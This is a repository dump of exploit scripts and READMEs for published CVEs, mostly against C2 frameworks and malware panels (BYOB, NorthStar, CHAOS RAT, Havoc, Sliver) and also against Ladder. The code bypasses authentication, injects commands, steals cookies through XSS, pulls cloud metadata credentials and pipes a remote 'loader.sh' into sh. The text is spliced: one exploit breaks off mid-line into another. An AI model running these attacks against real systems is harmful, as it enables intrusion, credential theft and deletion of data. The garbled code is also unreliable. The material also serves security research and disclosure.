├── BYOB-RCE ├── README.md ├── database.db └── exploit.py ├── CVE-2024-27620: Ladder Unauth SSRF └── exploit.py ├── CVE-2024-28741: Northstar C2 Unauth XSS ├── README.md └── exploit.py ├── CVE-2024-30850: CHAOS RAT RCE ├── README.md ├── exploit.py └── rickroll.mp4 ├── CVE-2024-30851: Jasmin Ransomware Unauth LFI ├── README.md └── exploit.py ├── CVE-2024-41570: Havoc C2 Unauth SSRF ├── README.md └── exploit.py ├── CVE-2024-46506: Unauthenticated RCE in NetAlertx ├── CVE-2024-46507: Yeti Platform SSTI └── CVE-2025-27090: Sliver C2 SSRF ├── README.md └── exploit.py /BYOB-RCE/README.md: -------------------------------------------------------------------------------- 1 | ### BYOB (Build Your Own Botnet) Unauthenticated RCE (CVE-2024-45256, CVE-2024-45257) 2 | 3 | This exploit works by spoofing an agent exfiltrating a file (CVE-2024-45257) to overwrite the sqlite database and bypass authentication. After authentication is bypassed, a command injection vulnerability is exploited in the payload builder page. 4 | 5 | Full analysis: https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/ 6 | 7 | https://github.com/user-attachments/assets/9b6ab096-389e-4060-8eb4-2bd2dc3634c8 8 | 9 | ``` 10 | python3 exploit.py -h 11 | usage: exploit.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [-A USER_AGENT] -c COMMAND 12 | 13 | options: 14 | -h, --help show this help message and exit 15 | -t TARGET, --target TARGET 16 | The target URL of the BYOB admin panel 17 | -u USERNAME, --username USERNAME 18 | The username to set for the new admin account 19 | -p PASSWORD, --password PASSWORD 20 | The password to set for the new admin account 21 | -A USER_AGENT, --user-agent USER_AGENT 22 | The user-agent to use for requests 23 | -c COMMAND, --command COMMAND 24 | The command to execute on the BYOB server 25 | ``` 26 | -------------------------------------------------------------------------------- /BYOB-RCE/database.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chebuya/exploits/c125b570e982ac7c3d2a617f81a495d123c5262f/BYOB-RCE/database.db -------------------------------------------------------------------------------- /BYOB-RCE/exploit.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution) 2 | # Date: 2024-08-14 3 | # Exploit Author: @_chebuya 4 | # Software Link: https://github.com/malwaredllc/byob 5 | # Version: v2.0.0 6 | # Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy 7 | # CVE: CVE-2024-45256, CVE-2024-45257 8 | # Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page 9 | # Github: https://github.com/chebuya/exploits/tree/main/BYOB-RCE 10 | # Blog: https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/ 11 | import sys 12 | import json 13 | import base64 14 | import string 15 | import random 16 | import argparse 17 | import requests 18 | 19 | from bs4 import BeautifulSoup 20 | 21 | 22 | def get_csrf(session, url): 23 | r = session.get(url) 24 | soup = BeautifulSoup(r.text, 'html.parser') 25 | csrf_token = soup.find('input', {'name': 'csrf_token'})['value'] 26 | return csrf_token 27 | 28 | 29 | def upload_database(session, url, filename): 30 | with open('database.db', 'rb') as f: 31 | bindata = f.read() 32 | data = base64.b64encode(bindata).decode('ascii') 33 | json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"} 34 | headers = { 35 | 'Content-Length': str(len(json.dumps(json_data))) 36 | } 37 | print("[***] Uploading database") 38 | upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers) 39 | print(upload_response.status_code) 40 | return upload_response.status_code 41 | 42 | 43 | def exploit(url, username, password, user_agent, command): 44 | s = requests.Session() 45 | # This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process 46 | filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"] 47 | failed = True 48 | for filepath in filepaths: 49 | if upload_database(s, url, filepath) != 500: 50 | failed = False 51 | break 52 | if failed: 53 | print("[!!!] Failed to upload database, exiting") 54 | sys.exit(1) 55 | 56 | if password is None: 57 | password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)]) 58 | print(username + ":" + password) 59 | 60 | register_csrf = get_csrf(s, f'{url}/register') 61 | headers = { 62 | 'User-Agent': user_agent, 63 | 'Content-Type': 'application/x-www-form-urlencoded', 64 | } 65 | data = { 66 | 'csrf_token': register_csrf, 67 | 'username': username, 68 | 'password': password, 69 | 'confirm_password': password, 70 | 'submit': 'Sign Up' 71 | } 72 | print("[***] Registering user ") 73 | register_response = s.post(f'{url}/register', headers=headers, data=data) 74 | print(register_response.status_code) 75 | 76 | login_csrf = get_csrf(s, f'{url}/login') 77 | data = { 78 | 'csrf_token': login_csrf, 79 | 'username': username, 80 | 'password': password, 81 | 'submit': 'Log In' 82 | } 83 | print("[***] Logging in") 84 | login_response = s.post(f'{url}/login', headers=headers, data=data) 85 | print(login_response.status_code) 86 | 87 | headers = { 88 | 'User-Agent': user_agent, 89 | 'Content-Type': 'application/x-www-form-urlencoded', 90 | } 91 | data = f'format=exe&operating_system=nix$({command})&architecture=amd64' 92 | try: 93 | s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001) 94 | except requests.exceptions.ReadTimeout: 95 | pass 96 | 97 | 98 | parser = argparse.ArgumentParser() 99 | parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True) 100 | parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin') 101 | parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None) 102 | parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36') 103 | parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True) 104 | 105 | args = parser.parse_args() 106 | 107 | exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command) 108 | -------------------------------------------------------------------------------- /CVE-2024-27620: Ladder Unauth SSRF/exploit.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: Ladder v0.0.21 Server-side request forgery (SSRF) 2 | # Date: 2024-01-20 3 | # Exploit Author: @_chebuya 4 | # Software Link: https://github.com/everywall/ladder 5 | # Version: v0.0.1 - v0.0.21 6 | # Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0) 7 | # CVE: CVE-2024-27620 8 | # Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context. An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs 9 | import requests 10 | import json 11 | 12 | target_url = "http://127.0.0.1:8080/api/" 13 | imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" 14 | 15 | r = requests.get(target_url + imdsv1_url) 16 | response_json = json.loads(r.text) 17 | print(response_json["body"]) 18 | -------------------------------------------------------------------------------- /CVE-2024-28741: Northstar C2 Unauth XSS/README.md: -------------------------------------------------------------------------------- 1 | # NorthStar C2 agent RCE via stored XSS 2 | Agent RCE PoC for CVE-2024-28741, a stored XSS vulnerability in NorthStar C2. 3 | 4 | This exploit works by sending multiple malicious agent registration requests to the teamserver to incrementally build a functioning javascript payload in the logs web page. This XSS can be leveraged to execute commands on NorthStar C2 agents 5 | 6 | Full explanation: https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/ 7 | 8 | 9 | https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc/assets/146861503/182070a5-1a70-4875-b440-867ee3f43c6f 10 | 11 | -------------------------------------------------------------------------------- /CVE-2024-28741: Northstar C2 Unauth XSS/exploit.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: NorthStar C2 agent RCE via stored XSS 2 | # Date: 2024-03-11 3 | # Exploit Author: @_chebuya 4 | # Software Link: https://github.com/EnginDemirbilek/NorthStarC2 5 | # Version: v1.0 6 | # Tested on: Ubuntu 20.04 LTS 7 | # CVE: CVE-2024-28741 8 | # Description: NorthStar C2 applies insufficient sanitization on agent registration routes, allowing an unauthenticated attacker to send multiple malicious agent registration requests to the teamserver to incrementally build a functioning javascript payload in the logs web page. This XSS can be leveraged to execute commands on NorthStar C2 agents 9 | # Blog: https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/ 10 | from http.server import BaseHTTPRequestHandler, HTTPServer 11 | from bs4 import BeautifulSoup 12 | import requests 13 | import base64 14 | import threading 15 | import time 16 | import os 17 | 18 | class Collector(BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | cookie = self.path.split("=")[1] 21 | print("Cookie: " + cookie) 22 | self.send_response(200) 23 | self.end_headers() 24 | self.wfile.write(b"") 25 | 26 | background_thread = threading.Thread(target=steal_agents, args=(cookie,)) 27 | background_thread.start() 28 | 29 | self.server.shutdown() 30 | 31 | def agent_execute_command(agent_id, csrf_token, headers, command): 32 | data = { 33 | 'slave': agent_id, 34 | 'command': command, 35 | 'sid': agent_id, 36 | 'token': csrf_token 37 | } 38 | 39 | r = requests.post(target_url + '/functions/setCommand.nonfunction.php', headers=headers, data=data) 40 | 41 | while True: 42 | r = requests.get(target_url + f"/getresponse.php?slave={agent_id}", headers=headers) 43 | if len(r.text) != 0 or command == "die": 44 | break 45 | 46 | time.sleep(1) 47 | 48 | def steal_agents(cookie): 49 | headers = { 50 | "Cookie": f"PHPSESSID={cookie}" 51 | } 52 | r = requests.get(target_url + "/clients.php", headers=headers) 53 | soup = BeautifulSoup(r.text, 'html.parser') 54 | rows = soup.find_all('tr') 55 | 56 | agent_ids = [] 57 | hostnames = [] 58 | 59 | for row in rows: 60 | cells = row.find_all('td') 61 | if len(cells) != 9: 62 | continue 63 | 64 | status = cells[7].text.strip() 65 | if status != 'Online': 66 | continue 67 | 68 | agent_ids.append(cells[1].text.strip()) 69 | hostnames.append(cells[5].text.strip()) 70 | 71 | 72 | script_tags = soup.find_all('script') 73 | 74 | csrf_token = None 75 | for script_tag in script_tags: 76 | if 'csrfToken' in script_tag.text: 77 | csrf_token = script_tag.text.split('"')[1] 78 | break 79 | 80 | if csrf_token: 81 | print("CSRF Token:", csrf_token) 82 | else: 83 | print("CSRF Token not found") 84 | return 85 | 86 | for i in range(len(agent_ids)): 87 | agent_id = agent_ids[i] 88 | hostname = hostnames[i] 89 | print(f"Stealing {hostname} ({agent_id})...") 90 | 91 | print("Enabling shell mode") 92 | agent_execute_command(agent_id, csrf_token, headers, "enablecmd") 93 | print(f"Running sliver cradle: {cradle_command}") 94 | agent_execute_command(agent_id, csrf_token, headers, cradle_command) 95 | print("Disabling shell mode") 96 | agent_execute_command(agent_id, csrf_token, headers, "disablecmd") 97 | print("Sending suicide to slave") 98 | agent_execute_command(agent_id, csrf_token, headers, "die") 99 | 100 | 101 | print("Exploit finished, exiting") 102 | os._exit(0) 103 | 104 | 105 | def xor_encryption(text, key): 106 | encrypted_text = "" 107 | 108 | for i in range(len(text)): 109 | encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)])) 110 | 111 | return encrypted_text 112 | 113 | def generate_sid(sid): 114 | encrypted_sid = xor_encryption(sid, "northstar") 115 | 116 | return base64.urlsafe_b64encode(encrypted_sid.encode()).decode() 117 | 118 | def exploit(target_url, callback_url): 119 | target_url = target_url.rstrip("/") + "/login.php" 120 | 121 | protocol = callback_url.split(":")[0] + "://" 122 | host = callback_url.split("/")[2].split(":")[0] 123 | h1, h2 = host[:len(host)//2], host[len(host)//2:] 124 | 125 | if callback_url.count(":") == 2: 126 | port = callback_url.split(":")[2] 127 | else: 128 | if protocol == "https://": 129 | port = "443" 130 | else: 131 | port = "80" 132 | 133 | sid_payloads = ["N*/"), "has_error": False} 105 | 106 | ws.send_binary(json.dumps(data)) 107 | 108 | 109 | def run_exploit(cookie, target, ip, port): 110 | print(f"Exploiting {target} with JWT {cookie}") 111 | conn = http.client.HTTPConnection(target) 112 | headers = { 113 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', 114 | 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932', 115 | 'Cookie': f'jwt={cookie}' 116 | } 117 | conn.request( 118 | 'POST', 119 | '/generate', 120 | f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n', 121 | headers 122 | ) 123 | 124 | def run(ip, port, target, command, video_name): 125 | server_address = (ip, int(port)) 126 | 127 | collector = partial(Collector, ip, port, target, command, video_name) 128 | httpd = HTTPServer(server_address, collector) 129 | print(f'Server running on port {ip}:{port}') 130 | httpd.serve_forever() 131 | 132 | if __name__ == "__main__": 133 | parser = argparse.ArgumentParser() 134 | subparsers = parser.add_subparsers(dest="option") 135 | 136 | exploit = subparsers.add_parser("exploit") 137 | exploit.add_argument("-f", "--file", help="The path to the CHAOS client") 138 | exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)") 139 | exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;") 140 | exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4") 141 | exploit.add_argument("-j", "--jwt", help="The JWT token to use") 142 | exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True) 143 | exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000) 144 | exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01") 145 | exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator") 146 | exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows") 147 | exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56") 148 | exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12") 149 | 150 | extract = subparsers.add_parser("extract") 151 | extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True) 152 | 153 | args = parser.parse_args() 154 | 155 | if args.option == "exploit": 156 | if args.target != None and args.jwt != None: 157 | target = args.target 158 | jwt = args.jwt 159 | elif args.file != None: 160 | target, jwt = extract_client_info(args.file) 161 | else: 162 | exploit.print_help(sys.stderr) 163 | sys.exit(1) 164 | 165 | bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip)) 166 | bg.start() 167 | 168 | cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port)) 169 | cmd.start() 170 | 171 | server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name)) 172 | server.start() 173 | 174 | elif args.option == "extract": 175 | target, jwt = extract_client_info(args.file) 176 | print(f"CHAOS server: {target}\nJWT: {jwt}") 177 | else: 178 | parser.print_help(sys.stderr) 179 | sys.exit(1) 180 | -------------------------------------------------------------------------------- /CVE-2024-30850: CHAOS RAT RCE/rickroll.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chebuya/exploits/c125b570e982ac7c3d2a617f81a495d123c5262f/CVE-2024-30850: CHAOS RAT RCE/rickroll.mp4 -------------------------------------------------------------------------------- /CVE-2024-30851: Jasmin Ransomware Unauth LFI/README.md: -------------------------------------------------------------------------------- 1 | # Jasmin ransomware web panel path traversal PoC 2 | #EducationalPurposes
3 | https://github.com/codesiddhant/Jasmin-Ransomware
4 | I discovered a pre-auth path traversal vulnerability in the Jasmin Ransomware web panel (CVE-2024-30851), allowing an attacker to deanonymize panel operators and dump decryption keys. Jasmin ransomware was observed in a recent TeamCity (CVE-2024-27198, CVE-2024-27199) exploitation campaign (https://twitter.com/brody_n77/status/1765145148227555826) 5 | 6 | [Screencast from 2024-04-04 18-51-07.webm](https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc/assets/146861503/82f412f0-9321-4c0b-a74d-27973ba338a6) 7 | 8 | ### Execution after redirect (CWE-698) 9 | The affected endpoint (Jasmin-Ransomware/Web Panel/download_file.php) fails to die() after sending the Location header. This allows an attacker to bypass authentication requirements. The call to readfile is unsanitized allowing an attacker to read arbitrary files. 10 | ```php 11 | Find process -> Create memory dump file 25 | 26 | Extract implant certificates 27 | ``` 28 | python3 ExtractCerts.py implant.dmp 29 | ``` 30 | 31 | Run the poc 32 | ``` 33 | python3 poc.py 34 | python3 poc.py 192.168.1.33 8443 44.221.186.72 1111 35 | ``` 36 | -------------------------------------------------------------------------------- /CVE-2025-27090: Sliver C2 SSRF/exploit.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: Sliver C2 SSRF 2 | # Date: 2025-02-19 3 | # Exploit Author: @_chebuya 4 | # Software Link: https://github.com/BishopFox/sliver 5 | # Version: v1.5.26 to v1.5.42, v1.6.0 < 0f340a2 6 | # Tested on: Ubuntu 24.04 LTS 7 | # CVE: CVE-2025-27090 8 | # Description: This exploit works by spoofing a implant registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more. 9 | # Github: https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF 10 | # Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-sliver-c2/ 11 | import argparse 12 | import base64 13 | import string 14 | import json 15 | import random 16 | import socket 17 | import ssl 18 | import struct 19 | import sys 20 | import time 21 | 22 | from google.protobuf import json_format 23 | from rich import print 24 | 25 | import RogueSliver.sliver_pb2 as sliver 26 | from RogueSliver.consts import msgs 27 | 28 | 29 | def generate_registration_envelope(): 30 | random_string = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10)) 31 | register_data = { 32 | "Name": random_string, 33 | "Hostname": "chebuya-" + random_string + ".local", 34 | "Uuid": "uuid"+ random_string, 35 | "Username": "username"+ random_string, 36 | "Uid": "uid"+ random_string, 37 | "Gid": "gid"+ random_string, 38 | "Os": "os"+ random_string, 39 | "Arch": "arch"+ random_string, 40 | "Pid": 1337, 41 | "Filename": "filename"+ random_string, 42 | "ActiveC2": "activec2"+ random_string, 43 | "Version": "version"+ random_string, 44 | "ReconnectInterval": 1337, 45 | "ConfigID": "config_id"+ random_string, 46 | "PeerID": -1337, 47 | "Locale": "locale" + random_string 48 | } 49 | 50 | register = sliver.Register() 51 | json_format.Parse(json.dumps(register_data), register) 52 | envelope = sliver.Envelope() 53 | envelope.Type = msgs.index('Register') 54 | envelope.Data = register.SerializeToString() 55 | 56 | return envelope 57 | 58 | 59 | def generate_create_reverse_tunnel_envelope(ip, port, data): 60 | tunnel_data = { 61 | "Data": base64.b64encode(data).decode(), 62 | "Closed": False, 63 | "Sequence": 0, 64 | "Ack": 0, 65 | "Resend": False, 66 | "CreateReverse": True, 67 | "rportfwd": { 68 | "Port": port, 69 | "Host": ip, 70 | "TunnelID": 1, 71 | }, 72 | "TunnelID": 1, 73 | } 74 | 75 | tunnel = sliver.TunnelData() 76 | json_format.Parse(json.dumps(tunnel_data), tunnel) 77 | envelope = sliver.Envelope() 78 | envelope.Type = msgs.index('TunnelData') 79 | envelope.Data = tunnel.SerializeToString() 80 | 81 | return envelope 82 | 83 | 84 | def exploit(ip, port, callback_ip, callback_port, data, cert_path, key_path): 85 | ssl_ctx = ssl.create_default_context() 86 | ssl_ctx.load_cert_chain(keyfile=key_path, certfile=cert_path) 87 | ssl_ctx.check_hostname = False 88 | ssl_ctx.verify_mode = ssl.CERT_NONE 89 | 90 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 91 | with ssl_ctx.wrap_socket(s,) as ssock: 92 | ssock.connect((ip, port)) 93 | ssock.settimeout(0.5) 94 | 95 | print("[***] Registering session") 96 | registration_envelope = generate_registration_envelope().SerializeToString() 97 | registration_envelope_len = struct.pack('I', len(registration_envelope)) 98 | ssock.write(registration_envelope_len + registration_envelope) 99 | time.sleep(0.5) 100 | 101 | print("[***] Creating tunnel") 102 | reverse_tunnel_envelope = generate_create_reverse_tunnel_envelope(callback_ip, callback_port, data).SerializeToString() 103 | reverse_tunnel_envelope_len = struct.pack('I', len(reverse_tunnel_envelope)) 104 | ssock.write(reverse_tunnel_envelope_len + reverse_tunnel_envelope) 105 | print("[***] Sent data\n" + data.decode().rstrip()) 106 | 107 | print("[***] Reading from connection") 108 | for i in range(4): 109 | try: 110 | print(ssock.read().decode(errors='ignore')) 111 | except: continue 112 | 113 | 114 | 115 | parser = argparse.ArgumentParser() 116 | 117 | parser.add_argument("-t", "--target", help="The IP of the target teamserver", required=True) 118 | parser.add_argument("-tp", "--target-port", help="The port of the target listener", type=int, required=True) 119 | parser.add_argument("-i", "--ip", help="The IP to send data to", required=True) 120 | parser.add_argument("-p", "--port", help="The port to send data to", type=int, required=True) 121 | parser.add_argument("-c", "--client-certificate", help="The path to the client certificate", default="certs/client.crt") 122 | parser.add_argument("-k", "--client-key", help="The path to the client key", default="certs/client.key") 123 | parser.add_argument("-d", "--data", help="The data to send", default="GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n") 124 | 125 | args = parser.parse_args() 126 | 127 | exploit(args.target, args.target_port, args.ip, args.port, args.data.encode(), args.client_certificate, args.client_key) 128 | 129 | --------------------------------------------------------------------------------